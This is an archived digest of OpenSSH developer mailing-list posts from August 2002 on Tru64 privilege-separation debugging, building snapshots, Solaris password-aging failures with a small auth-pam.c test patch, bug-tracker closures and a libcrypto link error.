From POTTERVELD at ANLMEP.PHY.ANL.GOV  Fri Aug 30 01:33:14 2002
From: POTTERVELD at ANLMEP.PHY.ANL.GOV (David Potterveld)
Date: Thu, 29 Aug 2002 10:33:14 -0500
Subject: Tru64 privsep patch testing
Message-ID: <020829103314.202004d8@ANLMEP.PHY.ANL.GOV>

Hi,

I can use gcc for debugging. I still prefer decc for production for various
reasons, including performance. I've traced the problem to an error return
from sia_ses_estab called by setup_sia in auth-sia.c.
I'm still investigating...

David Potterveld


From harbaugh at nciaxp.ncifcrf.gov  Fri Aug 30 02:56:39 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Thu, 29 Aug 2002 12:56:39 -0400 (EDT)
Subject: got 'configure', which does not create a Makefile, so what is the
 next step? (WAS Re: tru64 patch)
In-Reply-To: <3D6E108F.E7E2F813@zip.com.au>
Message-ID: <Pine.OSF.4.10.10208291250430.9689-100000@nciaxp.ncifcrf.gov>

On Thu, 29 Aug 2002, Darren Tucker wrote:

  > "Toni L. Harbaugh-Blackford" wrote:
  > > Where are the directions for building a snapshot?  The INSTALL file
  > > says to use the non-existant 'configure'.
  > 
  > make -f Makefile.in distprep
  > 
  > Requires autoconf (and probably gnu m4).
  > 

I tried the above and I tried 'autoconf' by itself.  I get the
'configure' script, which seems to work fine but does not generate
a Makefile.

So after creating 'configure' for the snapshot, where are the directions for
generating a Makefile?

Thanks,
Toni
-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From Larry_Bamford at ao.uscourts.gov  Fri Aug 30 03:02:08 2002
From: Larry_Bamford at ao.uscourts.gov (Larry_Bamford at ao.uscourts.gov)
Date: Thu, 29 Aug 2002 13:02:08 -0400
Subject: password aging problem with ssh protocol 2
Message-ID: <OF486CCFF0.060A86ED-ON85256C24.00565487@uscmail.dcn>

I'd like to add to this discussion, since I've had a similar problem.  I 
use OpenSSH 3.4p1 on Solaris 8, 7, 2.6, and 2.5.1.  Most of the time I log 
in successfully using public key authentication with no password challenge 
(private key already cached).  When the last change date for the password 
is set to 0 or is otherwise expired, I get this:

local$ ssh remote
larry at remote's password: <enter correct password>
Permission denied, please try again:
larry at remote's password:  <enter correct password again>
Received disconnect from <remote IP address>: 2: Too many authentication 
failures for larry
local$ 

This happens whether or not I use privilege separation.  To summarize (I 
hope this chart translates):

On the OpenSSH server...
password exists
password is locked (*LK*)
last change date field is 0 or otherwise expired
public key authentication is defeated by inability to log in to change the 
password
public key authentication is defeated by inability to log in to change the 
password
last change date field is current or empty
public key authentication works with no password challenge
public key authentication works with no password challenge

The last change date field is the first field after the encrypted password 
in the shadow file.  I won't go into all the ways this field can get 
screwed up, but there are plenty of normal procedures that will result in 
locking me out.  Whether the password expired naturally or was forced so 
by root, the end behavior is the same. 

The other observation I have is with an expired or forced expired 
password, I get the following in the authlog:

Aug 21 16:16:26 jdc30 sshd[14659]: User larry password has expired (root 
forced)         <-- OR (password aged)
Aug 21 16:16:26 jdc30 last message repeated 1 time
Aug 21 16:16:26 jdc30 sshd[14659]: input_userauth_request: illegal user 
larry
Aug 21 16:16:26 jdc30 last message repeated 1 time
Aug 21 16:16:26 jdc30 sshd[14659]: Failed none for illegal user larry from 
156.132.21.168 port 34182 ssh2
Aug 21 16:16:26 jdc30 last message repeated 1 time
Aug 21 16:16:27 jdc30 sshd[14659]: Failed publickey for illegal user larry 
from 156.132.21.168 port 34182 ssh2
Aug 21 16:16:27 jdc30 last message repeated 4 times
Aug 21 16:16:27 jdc30 sshd[14659]: Failed keyboard-interactive for illegal 
user larry from 156.132.21.168 port 34182 ssh2
Aug 21 16:16:27 jdc30 last message repeated 3 times
Aug 21 16:16:27 jdc30 sshd[14659]: Failed keyboard-interactive for illegal 
user larry from 156.132.21.168 port 34182 ssh2

It declares me to be an "illegal user".  And sshd -d -d -d output shows 
"input_userauth_request: illegal user larry"

Does this help anybody isolate where the code is failing?  Is sshd 
misinterpreting the expired state of my password?  But why is my password 
being consulted at all when I have sufficient public key authentication to 
get in?  Why did publickey fail?  Because I was branded an "illegal user"? 
 





Scott Burch <scott.burch at camberwind.com>
Sent by: openssh-unix-dev-admin at mindrot.org
08/28/02 03:21 PM

 
        To:     Amulya Parthasarathy <amulyap at getsmart.com>
        cc:     openssh-unix-dev at mindrot.org
        Subject:        Re: password aging problem with ssh protocol 2


Amulya,

This will only work on Solaris 8 with the version of OpenSSH you are 
running. Password aging will only work on Solaris 2.6 with current 
snapshots if you are not using privilege separation. If you are using 
privilege separation on the current release or snapshots I don't believe 
password aging works with any version of Solaris. Someone can correct me 
if I'm wrong. The main problem is that PAM on Linux and other open 
source operating systems has diverged substantially from PAM on Solaris 
(where it originated)...most PAM operations on Solaris need to run as 
root ...there was some discussion about this some time ago. I don't know 
if anyone is currently working on code to resolve these issues.

-Scott

Amulya Parthasarathy wrote:

>Hi,
>I'm using openssh3.1p1 and I'm having some problem with password aging
>with ssh protocol 2. Every time a password expires and I try to login I
>get the following message 
>
>ssh username at hostname
>username at hostname's password: 
>Warning: Your password has expired, please change it now
>Enter login password: 
>removing root credentials would break the rpc services that
>use secure rpc on this host!
>root may use keylogout -f to do this (at your own risk)!
>Connection to hostname closed by remote host.
>Connection to hostname closed.
>
>But when ssh into the same server using ssh -1 username at hostname it
>works just fine.
>ssh -1 username at hostname
>username at hostname's password: 
>Warning: Your password has expired, please change it now
>Enter login password: 
>New password: 
>Re-enter new password: 
>sshd (SYSTEM): passwd successfully changed for username
>Last login: Wed Aug 28 11:27:17 2002 from 10.11.42.65
>
>Can anybody help me how to get this working for protocol 2.
>
>Thanks
>R/Amulya
>
>_______________________________________________
>openssh-unix-dev at mindrot.org mailing list
>http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>
> 
>



_______________________________________________
openssh-unix-dev at mindrot.org mailing list
http://www.mindrot.org/mailman/listinfo/openssh-unix-dev





From wendyp at cray.com  Fri Aug 30 03:16:27 2002
From: wendyp at cray.com (Wendy Palm)
Date: Thu, 29 Aug 2002 12:16:27 -0500
Subject: got 'configure', which does not create a Makefile, so what is 
 thenext step? (WAS Re: tru64 patch)
References: <Pine.OSF.4.10.10208291250430.9689-100000@nciaxp.ncifcrf.gov>
Message-ID: <3D6E56EB.550DB985@cray.com>

"Toni L. Harbaugh-Blackford" wrote:
> 
> On Thu, 29 Aug 2002, Darren Tucker wrote:
> 
>   > "Toni L. Harbaugh-Blackford" wrote:
>   > > Where are the directions for building a snapshot?  The INSTALL file
>   > > says to use the non-existant 'configure'.
>   >
>   > make -f Makefile.in distprep
>   >
>   > Requires autoconf (and probably gnu m4).
>   >
> 
> I tried the above and I tried 'autoconf' by itself.  I get the
> 'configure' script, which seems to work fine but does not generate
> a Makefile.
> 
> So after creating 'configure' for the snapshot, where are the directions for
> generating a Makefile?

if you ran autoconf, the next step is to run autoheader.

then, you run configure with whatever options you need for your architecture.
see the INSTALL file.

for my machines, i use-
 ./configure --prefix=$INSTALLDIR \
      --with-pid-dir=$INSTALLDIR/etc \
      --with-ssl-dir=$INSTALLDIR/lib \
      --with-zlib=$INSTALLDIR/lib \
      --with-cflags="-I$INSTALLDIR/include" \
      --with-ldflags="-L$INSTALLDIR/lib" \
      --with-entropy-timeout=600 \
      --with-privsep-path=$INSTALLDIR/var/empty \
      --with-privsep-user=sshd

> 
> Thanks,
> Toni
> -----------------------------------------------------------------------
> Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
> AlphaServer 8400 System Administrator
> SAIC/NCI Frederick Advanced Biomedical Computing Center
> 
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev

-- 
wendy palm
Cray OS Sustaining Engineering, Cray Inc.
wendyp at cray.com, 651-605-9154


From harbaugh at nciaxp.ncifcrf.gov  Fri Aug 30 03:58:05 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Thu, 29 Aug 2002 13:58:05 -0400 (EDT)
Subject: got 'configure', which does not create a Makefile, so what is 
 thenext step? (WAS Re: tru64 patch)
In-Reply-To: <3D6E56EB.550DB985@cray.com>
Message-ID: <Pine.OSF.4.10.10208291345100.14455-100000@nciaxp.ncifcrf.gov>

On Thu, 29 Aug 2002, Wendy Palm wrote:

  > 
  > if you ran autoconf, the next step is to run autoheader.
  > 
  > then, you run configure with whatever options you need for your architecture.
  > see the INSTALL file.
  > 
  > for my machines, i use-
  >  ./configure --prefix=$INSTALLDIR \
  >       --with-pid-dir=$INSTALLDIR/etc \
  >       --with-ssl-dir=$INSTALLDIR/lib \
  >       --with-zlib=$INSTALLDIR/lib \
  >       --with-cflags="-I$INSTALLDIR/include" \
  >       --with-ldflags="-L$INSTALLDIR/lib" \
  >       --with-entropy-timeout=600 \
  >       --with-privsep-path=$INSTALLDIR/var/empty \
  >       --with-privsep-user=sshd
  
I did both 'autoconf' and 'autoheader', then I ran 'configure' with my settings.

But no Makefile is generated.

So you are saying that 'configure' *SHOULD* have created the Makefile?

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From wendyp at cray.com  Fri Aug 30 04:03:13 2002
From: wendyp at cray.com (Wendy Palm)
Date: Thu, 29 Aug 2002 13:03:13 -0500
Subject: got 'configure', which does not create a Makefile, so what is 
 thenext step? (WAS Re: tru64 patch)
References: <Pine.OSF.4.10.10208291345100.14455-100000@nciaxp.ncifcrf.gov>
Message-ID: <3D6E61E1.12FADF5A@cray.com>

"Toni L. Harbaugh-Blackford" wrote:
> 
> I did both 'autoconf' and 'autoheader', then I ran 'configure' with my settings.
> 
> But no Makefile is generated.
> 
> So you are saying that 'configure' *SHOULD* have created the Makefile?


yes, configure is what creates the makefiles.  if it didn't, there was
at least one fatal error.  check config.log and see what it says.



-- 
wendy palm
Cray OS Sustaining Engineering, Cray Inc.
wendyp at cray.com, 651-605-9154


From harbaugh at nciaxp.ncifcrf.gov  Fri Aug 30 04:42:59 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Thu, 29 Aug 2002 14:42:59 -0400 (EDT)
Subject: nothing in config.log, but had to do '/bin/ksh config.status' by
 hand to gen Makefile
In-Reply-To: <3D6E61E1.12FADF5A@cray.com>
Message-ID: <Pine.OSF.4.10.10208291434460.15944-100000@nciaxp.ncifcrf.gov>

It is not in the config.log file, but for some reason configure stops
before executing config.status, which is what really creates the
Makefile.

So running '/bin/ksh config.status' by hand created the Makefile and
other files.

make ran, and everything compiled.  So now I can test it.

On Thu, 29 Aug 2002, Wendy Palm wrote:

  > "Toni L. Harbaugh-Blackford" wrote:
  > > 
  > > I did both 'autoconf' and 'autoheader', then I ran 'configure' with my settings.
  > > 
  > > But no Makefile is generated.
  > > 
  > > So you are saying that 'configure' *SHOULD* have created the Makefile?
  > 
  > 
  > yes, configure is what creates the makefiles.  if it didn't, there was
  > at least one fatal error.  check config.log and see what it says.
  > 
  > 
  > 
  > -- 
  > wendy palm
  > Cray OS Sustaining Engineering, Cray Inc.
  > wendyp at cray.com, 651-605-9154
  > 

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From POTTERVELD at ANLMEP.PHY.ANL.GOV  Fri Aug 30 05:25:27 2002
From: POTTERVELD at ANLMEP.PHY.ANL.GOV (David Potterveld)
Date: Thu, 29 Aug 2002 14:25:27 -0500
Subject: Tru64 privsep patch testing
Message-ID: <020829142527.202005aa@ANLMEP.PHY.ANL.GOV>

Further news: the Tru64 privsep problem seems to be a clash between the
privileged and unprivileged processes, with both attempting to launch sia
sessions on the same (pseudo-)terminal. When I run the privileged process
in a debugger, with a breakpoint early in sia_setup, and then try to connect
with a client, the damn thing works. The privileged process stops at the
breakpoint, the unprivileged child forges ahead, and the client completes
the connection. I get a shell, and everything seems OK. X11 forwarding works
as well. Examining the data back in the parent, in the context of sia_setup,
I see it wants to launch a session on the same tty. The sia_ses_estab call
fails, and the parent exits, which brings down the working client session.

The next step for me is to try and figure out what the correct sequence of
sia calls from both priv and unpriv perspectives *should* be, and then how
to untangle them.

David Potterveld



From harbaugh at nciaxp.ncifcrf.gov  Fri Aug 30 06:06:04 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Thu, 29 Aug 2002 16:06:04 -0400 (EDT)
Subject: YABADABADO! tru64 privsep patch works with openssh-SNAP-20020826.tar.gz!
In-Reply-To: <20020829074915.A78294@oolong.il.thewrittenword.com>
Message-ID: <Pine.OSF.4.10.10208291603070.18633-100000@nciaxp.ncifcrf.gov>


The tru64 privsep patch works with openssh-SNAP-20020826.tar.gz!


    :D

-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From kevin at atomicgears.com  Fri Aug 30 06:56:48 2002
From: kevin at atomicgears.com (Kevin Steves)
Date: Thu, 29 Aug 2002 13:56:48 -0700
Subject: password aging problem with ssh protocol 2
In-Reply-To: <4F596388B2186E4DB4CECC512293E5DEF6C1@GSEXCLS.getsmart.uun>
References: <4F596388B2186E4DB4CECC512293E5DEF6C1@GSEXCLS.getsmart.uun>
Message-ID: <20020829205648.GH14517@scott.crlsca.adelphia.net>

On Wed, Aug 28, 2002 at 11:36:09AM -0700, Amulya Parthasarathy wrote:
> I'm using openssh3.1p1 and I'm having some problem with password aging
> with ssh protocol 2. Every time a password expires and I try to login I
> get the following message 
> 
> ssh username at hostname
> username at hostname's password: 
> Warning: Your password has expired, please change it now
> Enter login password: 
> removing root credentials would break the rpc services that
> use secure rpc on this host!
> root may use keylogout -f to do this (at your own risk)!
> Connection to hostname closed by remote host.
> Connection to hostname closed.
> 
> But when ssh into the same server using ssh -1 username at hostname it
> works just fine.
> ssh -1 username at hostname
> username at hostname's password: 
> Warning: Your password has expired, please change it now
> Enter login password: 
> New password: 
> Re-enter new password: 
> sshd (SYSTEM): passwd successfully changed for username
> Last login: Wed Aug 28 11:27:17 2002 from 10.11.42.65
> 
> Can anybody help me how to get this working for protocol 2.

Password change was disabled post 3.1 due to issues raised in bug 188.
I have incorporated changes made by Solar Designer into CVS but have
left password change disabled, until I had time to verify the changes
more thoroughly.  I believe they may address 188 issues (Nico, can you
look at this?).  Please test with current using the patch below.

That said I have seen the issue above on Solaris 8, and I don't know
what the cause is.  I also can't explain why it works with protocol 1.
As I recall, HP-UX 11 does work.

Index: auth-pam.c
===================================================================
RCS file: /var/cvs/openssh/auth-pam.c,v
retrieving revision 1.54
diff -u -r1.54 auth-pam.c
--- auth-pam.c	28 Jul 2002 20:24:08 -0000	1.54
+++ auth-pam.c	29 Aug 2002 20:45:38 -0000
@@ -256,7 +256,7 @@
 		case PAM_SUCCESS:
 			/* This is what we want */
 			break;
-#if 0
+#if 1
 		case PAM_NEW_AUTHTOK_REQD:
 			message_cat(&__pam_msg, use_privsep ?
 			    NEW_AUTHTOK_MSG_PRIVSEP : NEW_AUTHTOK_MSG);


From bugzilla-daemon at mindrot.org  Fri Aug 30 07:08:12 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 30 Aug 2002 07:08:12 +1000 (EST)
Subject: [Bug 362] Loss of change password functionality
Message-ID: <20020829210812.F41E03D1A0@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=362

stevesk at pobox.com changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |DUPLICATE



------- Additional Comments From stevesk at pobox.com  2002-08-30 07:08 -------


*** This bug has been marked as a duplicate of 188 ***



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 30 07:08:20 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 30 Aug 2002 07:08:20 +1000 (EST)
Subject: [Bug 188] pam_chauthtok() is called too late
Message-ID: <20020829210820.ABBE13D1A2@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=188

stevesk at pobox.com changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
                 CC|                            |dirk.bockmann at customs.gov.au



------- Additional Comments From stevesk at pobox.com  2002-08-30 07:08 -------
*** Bug 362 has been marked as a duplicate of this bug. ***



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From mouring at etoh.eviladmin.org  Fri Aug 30 07:05:08 2002
From: mouring at etoh.eviladmin.org (Ben Lindstrom)
Date: Thu, 29 Aug 2002 16:05:08 -0500 (CDT)
Subject: Tru64 privsep patch testing
In-Reply-To: <020829142527.202005aa@ANLMEP.PHY.ANL.GOV>
Message-ID: <Pine.BSO.4.44.0208291602530.17760-100000@etoh.eviladmin.org>

I assume you are going against --current or a more recent snapshot.

The patch was never designed to be applied again 3.4p1 tree.  All testing
was done on --current.

- Ben

On Thu, 29 Aug 2002, David Potterveld wrote:

> Further news: the Tru64 privsep problem seems to be a clash between the
> privileged and unprivileged processes, with both attempting to launch sia
> sessions on the same (pseudo-)terminal. When I run the privileged process
> in a debugger, with a breakpoint early in sia_setup, and then try to connect
> with a client, the damn thing works. The privileged process stops at the
> breakpoint, the unprivileged child forges ahead, and the client completes
> the connection. I get a shell, and everything seems OK. X11 forwarding works
> as well. Examining the data back in the parent, in the context of sia_setup,
> I see it wants to launch a session on the same tty. The sia_ses_estab call
> fails, and the parent exits, which brings down the working client session.
>
> The next step for me is to try and figure out what the correct sequence of
> sia calls from both priv and unpriv perspectives *should* be, and then how
> to untangle them.
>
> David Potterveld
>
> _______________________________________________
> openssh-unix-dev at mindrot.org mailing list
> http://www.mindrot.org/mailman/listinfo/openssh-unix-dev
>



From bugzilla-daemon at mindrot.org  Fri Aug 30 07:12:34 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 30 Aug 2002 07:12:34 +1000 (EST)
Subject: [Bug 390] Sshdfwd-<port>
Message-ID: <20020829211234.865563D1AE@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=390

stevesk at pobox.com changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |DUPLICATE



------- Additional Comments From stevesk at pobox.com  2002-08-30 07:12 -------


*** This bug has been marked as a duplicate of 389 ***



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 30 07:12:46 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 30 Aug 2002 07:12:46 +1000 (EST)
Subject: [Bug 389] Sshdfwd-<port>
Message-ID: <20020829211246.5130F3D1AE@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=389





------- Additional Comments From stevesk at pobox.com  2002-08-30 07:12 -------
*** Bug 390 has been marked as a duplicate of this bug. ***



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From bugzilla-daemon at mindrot.org  Fri Aug 30 07:14:57 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 30 Aug 2002 07:14:57 +1000 (EST)
Subject: [Bug 389] Sshdfwd-<port>
Message-ID: <20020829211457.3232C3D1B8@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=389

stevesk at pobox.com changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |INVALID



------- Additional Comments From stevesk at pobox.com  2002-08-30 07:14 -------
this is not supported by openssh



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From jeremy at bug.dynu.com  Fri Aug 30 07:18:35 2002
From: jeremy at bug.dynu.com (Jeremy Ellington)
Date: Thu, 29 Aug 2002 16:18:35 -0500
Subject: Using PAM_USER for user mappings
Message-ID: <15726.36779.323023.379843@bug.dynu.com>

Hello all.

It is my understanding that a PAM-aware application should check the value
of the PAM_USER attribute after every PAM call.


From bugzilla-daemon at mindrot.org  Fri Aug 30 09:09:50 2002
From: bugzilla-daemon at mindrot.org (bugzilla-daemon at mindrot.org)
Date: Fri, 30 Aug 2002 09:09:50 +1000 (EST)
Subject: [Bug 333] X11 forwarding not working in OpenSSH 3.4p1
Message-ID: <20020829230950.7D2563D19A@shitei.mindrot.org>

http://bugzilla.mindrot.org/show_bug.cgi?id=333

stevesk at pobox.com changed:

           What    |Removed                     |Added
----------------------------------------------------------------------------
             Status|NEW                         |RESOLVED
         Resolution|                            |INVALID



------- Additional Comments From stevesk at pobox.com  2002-08-30 09:09 -------
no recent feedback



------- You are receiving this mail because: -------
You are the assignee for the bug, or are watching the assignee.


From POTTERVELD at ANLMEP.PHY.ANL.GOV  Fri Aug 30 10:26:49 2002
From: POTTERVELD at ANLMEP.PHY.ANL.GOV (David Potterveld)
Date: Thu, 29 Aug 2002 19:26:49 -0500
Subject: Tru64 privsep patch testing
Message-ID: <020829192649.2020061f@ANLMEP.PHY.ANL.GOV>

Hi Ben,

> I assume you are going against --current or a more recent snapshot.

Well, I was using 3.4p1. I just downloaded, patched, and built the
20020826 snapshot. This does behave differently... I ran sshd interactively
(sshd -e -d -d -d) and tried to connect with a client. The privileged process
commits the same error as before. The difference is that now it doesn't
tear down the client session when it exits, and the client appears functional
(warning: not tested yet beyond simply getting a shell.) So it seems to me that
there is still something wrong in the logic: at this point, the privileged
process shouldn't be trying to launch another session on this tty, and it
just happens to work now because the unprivileged process is better isolated.

Toni: Thanks for researching how to build the snapshot (and everyone else for
responding)!

David Potterveld
Argonne National Laboratory


From anony at aktivist.fi  Fri Aug 30 16:37:29 2002
From: anony at aktivist.fi (Ano nymous)
Date: Fri, 30 Aug 2002 06:37:29 GMT
Subject: LIBCRYPTO?
Message-ID: <20020830063729.26142.qmail@tincan1.aktivist.net>

Hi all,
I have a question about OpenSSH configuration. In Makefile there is defined
LIBS=$(LIBCRYPTO), but the problem is that the version of OpenSSL that I'm
using holds only the version LIBCRYPT. When adding LIBCRYPT to the Makefile
I get:

sshd.elf2flt: In function `key_regeneration_alarm':
/.../ssh/sshd.c:252: undefined reference to `RSA_free'
/.../ssh/sshd.c:253: undefined reference to `RSA_new'
/.../ssh/sshd.c:256: undefined reference to `RSA_free'
/.../ssh/sshd.c:257: undefined reference to `RSA_new'
sshd.elf2flt: In function `destroy_sensitive_data':
/.../ssh/sshd.c:399: undefined reference to `RSA_free'
/.../ssh/sshd.c:401: undefined reference to `RSA_free'
/.../ssh/sshd.c:403: undefined reference to `RSA_free'
sshd.elf2flt: In function `main':
/.../ssh/sshd.c:559: undefined reference to `RSA_new'
/.../ssh/sshd.c:599: undefined reference to `BN_num_bits'
/opt/uClinux-dist/user/ssh/sshd.c:599: undefined reference to `BN_num_bits'
/.../ssh/sshd.c:603: undefined reference to `BN_num_bits'
/.../ssh/sshd.c:664: undefined reference to `RSA_new'
/.../ssh/sshd.c:665: undefined reference to `RSA_new'
sshd.elf2flt: In function `do_ssh1_kex':
/.../ssh/sshd.c:1077: undefined reference to `BN_num_bits'
/opt/uClinux-dist/user/ssh/sshd.c:1082: undefined reference to
`BN_num_bits'
/.../ssh/sshd.c:1122: undefined reference to `BN_num_bits'
/opt/uClinux-dist/user/ssh/sshd.c:1122: undefined reference to
`BN_num_bits'
/.../ssh/sshd.c:1143: undefined reference to `BN_new'
/.../ssh/sshd.c:1155: undefined reference to `BN_cmp'
/.../ssh/sshd.c:1157: undefined reference to `BN_num_bits'
/opt/uClinux-dist/user/ssh/sshd.c:1157: undefined reference to
`BN_num_bits'
/.../ssh/sshd.c:1159: undefined reference to `BN_num_bits'
/.../ssh/sshd.c:1159: undefined reference to `BN_num_bits'
/.../ssh/sshd.c:1171: undefined reference to `BN_num_bits'
...

Firts of all, are these libraries even compatible? and if are what could be
the cause of this mistake.

Thanks in advance



From dmeranda at iac.net  Fri Aug 30 18:37:15 2002
From: dmeranda at iac.net (Deron Meranda)
Date: Fri, 30 Aug 2002 04:37:15 -0400 (EDT)
Subject: LIBCRYPTO?
In-Reply-To: <no.id> from "Ano nymous" at Aug 30, 2002 06:37:29 AM
Message-ID: <200208300837.g7U8bFEr021428@iac.net>

> I have a question about OpenSSH configuration. In Makefile there is defined
> LIBS=$(LIBCRYPTO), but the problem is that the version of OpenSSL that I'm
> using holds only the version LIBCRYPT. When adding LIBCRYPT to the Makefile
...
> Firts of all, are these libraries even compatible? and if are what could be
> the cause of this mistake.

I'm a little bit confused by your question.  But I suspect you may be
confusing "libcrypto" with "libcrypt".  libcrypto is one of two
libraries (libssl being the other) which is part of the OpenSSL
product.  libcrypt on the other hand is a standard part of most Unix
distributions which handles Unix's password encryption.  The two
definitely are not compatible.

Refer to the OpenSSL site for more information about libcrypto,
at http://www.openssl.org/

Deron Meranda


From harbaugh at nciaxp.ncifcrf.gov  Fri Aug 30 21:25:12 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Fri, 30 Aug 2002 07:25:12 -0400 (EDT)
Subject: Tru64 privsep patch testing
In-Reply-To: <020829192649.2020061f@ANLMEP.PHY.ANL.GOV>
Message-ID: <Pine.OSF.4.10.10208300716490.5568-100000@nciaxp.ncifcrf.gov>

On Thu, 29 Aug 2002, David Potterveld wrote:

  > Hi Ben,
  > 
  > > I assume you are going against --current or a more recent snapshot.
  > 
  > Well, I was using 3.4p1. I just downloaded, patched, and built the
  > 20020826 snapshot. This does behave differently... I ran sshd interactively
  > (sshd -e -d -d -d) and tried to connect with a client. The privileged process
  > commits the same error as before. The difference is that now it doesn't
  > tear down the client session when it exits, and the client appears functional
  > (warning: not tested yet beyond simply getting a shell.)

Yes, I saw this too.

  > So it seems to me that
  > there is still something wrong in the logic: at this point, the privileged
  > process shouldn't be trying to launch another session on this tty, and it
  > just happens to work now because the unprivileged process is better isolated.

Could you help me follow the code here (I'm getting lost between the unprivileged
and privileged processes)?...

Where does the unprivileged process setup it's session?  Does setup_sia()
get called twice (once in the privileged process and once in the
unprivileged process) or is a different (non SIA) method used by the
unprivileged process?


-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From harbaugh at ncifcrf.gov  Fri Aug 30 21:25:12 2002
From: harbaugh at ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Fri, 30 Aug 2002 07:25:12 -0400 (EDT)
Subject: Tru64 privsep patch testing
In-Reply-To: <020829192649.2020061f@ANLMEP.PHY.ANL.GOV>
Message-ID: <Pine.OSF.4.10.10208300716490.5568-100000@nciaxp.ncifcrf.gov>

On Thu, 29 Aug 2002, David Potterveld wrote:

  > Hi Ben,
  > 
  > > I assume you are going against --current or a more recent snapshot.
  > 
  > Well, I was using 3.4p1. I just downloaded, patched, and built the
  > 20020826 snapshot. This does behave differently... I ran sshd interactively
  > (sshd -e -d -d -d) and tried to connect with a client. The privileged process
  > commits the same error as before. The difference is that now it doesn't
  > tear down the client session when it exits, and the client appears functional
  > (warning: not tested yet beyond simply getting a shell.)

Yes, I saw this too.

  > So it seems to me that
  > there is still something wrong in the logic: at this point, the privileged
  > process shouldn't be trying to launch another session on this tty, and it
  > just happens to work now because the unprivileged process is better isolated.

Could you help me follow the code here (I'm getting lost between the unprivileged
and privileged processes)?...

Where does the unprivileged process setup it's session?  Does setup_sia()
get called twice (once in the privileged process and once in the
unprivileged process) or is a different (non SIA) method used by the
unprivileged process?


-----------------------------------------------------------------------
Toni Harbaugh-Blackford                     harbaugh at nciaxp.ncifcrf.gov
AlphaServer 8400 System Administrator
SAIC/NCI Frederick Advanced Biomedical Computing Center



From harbaugh at nciaxp.ncifcrf.gov  Fri Aug 30 21:51:16 2002
From: harbaugh at nciaxp.ncifcrf.gov (Toni L. Harbaugh-Blackford)
Date: Fri, 30 Aug 2002 07:51:16 -0400 (EDT)
Subject: no, I see now, tru64 pty ownership wrong on entry to setup_sia, may
 need /usr/lbin/chgpt (WAS Re: Tru64 privsep patch testing)
In-Reply-To: <Pine.OSF.4.10.10208300716490.5568-100000@nciaxp.ncifcrf.gov>
Message-ID: <Pine.OSF.4.10.10208300742460.5568-100000@nciaxp.ncifcrf.gov>

I put in some more debugging statements, and also looked at the terminal
ownership after I logged in via the tru64 patch

When logged in via the patch, this is the ownership of *my* terminal:

     fchelp{harbaugh} [/users/primgr/harbaugh]
     103% tty
     /dev/pts/2
     fchelp{harbaugh} [/users/primgr/harbaugh]
     104% ls -la /dev/pts/2  
     crw-rw-rw-   2 root     system     6,  2 Aug 30 07:41 /dev/pts/2

When logged in 'normally', this is the ownership:

     fchelp{harbaugh} [/www/harbaugh/51A/20020829/openssh]
     125% tty
     /dev/pts/1
     fchelp{harbaugh} [/www/harbaugh/51A/20020829/openssh]
     126% ls -la /dev/pts/1
     crw--w----   2 harbaugh terminal   6,  1 Aug 30 07:42 /dev/pts/1

I know that Tru64 *itself* uses the setuid program /usr/lbin/chgpt to allow
ownership change of a terminal by a non-privileged process, but I can't find
my reference for how it is used.  Of course, it is undocumented.

Otherwise, a privileged process will have to change the ownership.

On Fri, 30 Aug 2002, Toni L. Harbaugh-Blackford wrote:

  > On Thu, 29 Aug 2002, David Potterveld wrote:
  > 
